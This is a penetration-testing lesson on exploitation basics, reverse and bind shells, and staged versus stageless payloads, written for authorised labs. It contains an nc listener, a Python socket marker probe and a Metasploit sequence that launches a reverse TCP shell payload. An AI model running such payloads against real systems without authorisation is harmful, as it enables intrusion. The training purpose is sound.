Перейти к основному содержимому
Exploitation Basics, Payloads & Reverse/Bind Shells
Урок 5 из 11

Exploitation Basics, Payloads & Reverse/Bind Shells

Learn how to move safely from a verified vulnerability to controlled exploitation by choosing between reverse and bind shells, staged and stageless payloads, and minimal proof-of-execution checks.

Продвинутый 30 мин Пентест
Этого урока пока нет на выбранном языке — показана версия на другом языке. Перевод готовится.
Только в разрешённой среде — Описанные здесь приёмы применяются только в учебных лабораториях и в системах, которые принадлежат вам или на которые есть письменное разрешение.

Цели обучения

  • Explain how a vulnerability, exploit trigger, payload, and handler work together during initial access
  • Choose between a reverse shell and a bind shell based on NAT, firewall rules, and reachability
  • Compare staged and stageless payloads for size constraints, reliability, and detection risk
  • Demonstrate a safe, non-destructive proof of execution in a lab using nc, Python, and Metasploit

Рекомендуется заранее: Методология пентеста, правила взаимодействия (RoE) и этикаPort Scanning & Deep Service Enumeration (HTTP, SMB, SSH, SNMP)Vulnerability Assessment & Manual False-Positive Triage

#Why this matters

Once manual triage confirms a flaw, stakeholders ask what an attacker can actually achieve. Controlled exploitation provides concrete evidence, whether proving remote command execution in a veb-tahlil web app or control-flow hijacking in a pwn binary.

Uncontrolled exploitation causes real harm: unverified public scripts can crash daemons, corrupt memory, or expose unauthenticated ports. Professional testing uses the smallest payload needed to prove execution and cleans up immediately.

#Anatomy of an exploit and payload

Every controlled exploitation workflow separates four pieces:

  1. Vulnerability: The underlying bug, such as an unquoted command argument or stack buffer overflow.
  2. Exploit: The trigger that abuses the bug (a crafted HTTP request or offset-aligned binary input).
  3. Payload: What runs after the trigger succeeds. Running id and hostname or emitting a harmless marker is often enough to prove impact without spawning a full shell.
  4. Handler (listener): The local process (nc or a Metasploit handler) that receives or connects to the session.

Always read third-party exploit code before running it. Verify the target OS and architecture (x64 vs x86), confirm there are no destructive commands or hidden callbacks, and check whether it writes temporary files to disk.

#Reverse shells vs. bind shells

When a proof of concept requires an interactive session, the first networking decision is connection direction. Firewalls and Network Address Translation (NAT) determine which direction works.

Reverse shell vs. bind shell connection directionReverse shell vs. bind shell connection directionTargetTesterReverse shell (Target connects out to Tester:4444)Interactive commands over outbound socketBind shell (Tester connects in to Target:5555)Interactive commands if inbound port 5555 is openEgress filtering blocks reverse shells; ingress filtering blocks bind shells
Property Reverse shell Bind shell
Who initiates TCP Compromised target connects to tester Tester connects to compromised target
Firewall behaviour Works when inbound ports are blocked, if egress is allowed Blocked by NAT or inbound host firewalls
Exposure risk Callback goes only to the configured tester IP Any host that reaches the open port may connect
Common use case External web or client-side targets behind NAT Isolated internal lab hosts with permissive inbound rules

In practice, reverse shells are far more common in web assessments (veb-tahlil) because servers usually sit behind ingress firewalls that permit only ports 80 and 443 inbound while allowing outbound connections. Bind shells appear more often in segmented pwn or internal lab networks where outbound traffic from the target is completely blocked.

#Staged vs. stageless payloads

Payloads also differ in how they are delivered over the wire. Knowing the trade-off prevents mysterious failures during testing:

  • Staged payloads split delivery into two steps. A tiny initial stub called a stager executes first, opens a network connection back to the handler, and downloads the larger main payload into memory. In Metasploit, staged payloads use a forward slash between components, such as linux/x64/shell/reverse_tcp. Staged payloads shine in tight pwn buffer overflows where you only have room for a few dozen bytes of shellcode.
  • Stageless payloads bundle the entire capability into one self-contained unit, written in Metasploit with an underscore, such as linux/x64/shell_reverse_tcp. They require only a single TCP connection, work reliably with a plain nc listener, and are less likely to break on unstable networks, at the cost of a larger payload size.

Remember that a staged Metasploit payload must be caught by a matching Metasploit handler (exploit/multi/handler), because a plain nc listener does not know how to send stage two over the socket.

#Controlled lab workflow with nc, Python, and Metasploit

A disciplined workflow sets up the listener first, runs a non-destructive check when available, and captures minimal evidence.

  1. PrepareStart listener on jump host and confirm LHOST interface
  2. VerifyRead exploit code and run safe check mode if supported
  3. TriggerExecute minimal PoC marker or single-session payload
  4. CleanupRecord evidence, exit session cleanly, close listener

For basic verification in a lab (10.10.10.0/24), nc and Python let you test connectivity and execution without loading heavy frameworks. Start a listener on your lab machine (10.10.10.5), then confirm whether the target can reach that port using a harmless marker string rather than an invasive payload:

Testing listener reachability with a harmless lab marker
$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.50 51832
CYBERSAMSU_POC_OK uid=33(www-data)

In a Python-equipped lab target, a one-line connectivity probe can verify both code execution and egress reachability to your listener without dropping files to disk:

python
# Harmless lab PoC check: sends a marker string to the lab listener and exits
import socket

with socket.create_connection(("10.10.10.5", 4444), timeout=5) as sock:
    sock.sendall(b"CYBERSAMSU_POC_OK\n")

When working inside Metasploit (msfconsole) on an authorised lab host, inspect options carefully, match LHOST to your lab VPN or host-only interface (not 127.0.0.1), and run check before run whenever the module supports safe version or behaviour checks:

Safe Metasploit configuration sequence (lab range 10.10.10.0/24)
$ msfconsole -q
msf6 > use exploit/multi/http/example_lab_module
msf6 exploit(...) > set RHOSTS 10.10.10.50
msf6 exploit(...) > set PAYLOAD linux/x64/shell_reverse_tcp
msf6 exploit(...) > set LHOST 10.10.10.5
msf6 exploit(...) > set LPORT 4444
msf6 exploit(...) > check
[*] 10.10.10.50:8080 - The target appears to be vulnerable.
msf6 exploit(...) > run

Notice the choice of linux/x64/shell_reverse_tcp (stageless) above: if an intrusion prevention system or strict socket timeout interrupts a second-stage transfer, a stageless payload still completes cleanly.

#Defending and common mistakes

Defenders break the exploitation chain at multiple layers:

  • Egress filtering: Block servers from initiating arbitrary outbound TCP sessions on high ports or external 443.
  • Least privilege and minimal containers: Run services as unprivileged users in read-only containers without nc, curl, or interactive shells.
  • Process-tree detection: Alert via auditd or EDR when web or database daemons (nginx, apache2, java) spawn /bin/sh or python3 -c network sockets.

Testers routinely trip over four avoidable mistakes:

  • Wrong LHOST: Using a local LAN IP instead of the lab VPN interface (tun0), preventing callbacks from routing back.
  • Mismatched listener: Catching a staged Metasploit payload with plain nc, which hangs after the handshake because no stage two is sent.
  • Blind execution: Running uninspected public PoCs that crash services or alter state.
  • Missing cleanup: Leaving bind listeners open or temporary test files on disk.

#Summary

Controlled exploitation proves real impact while keeping target systems intact. Firewall direction and NAT dictate whether a reverse or bind shell works, while payload size limits and network reliability determine staged versus stageless delivery. By inspecting exploit code first, testing with check or minimal markers, and tearing down cleanly, you deliver actionable evidence for defenders.

Проверка знаний

Войдите, чтобы проходить тест, завершать уроки и сохранять прогресс. Войти в систему

Практика: проверьте свои знания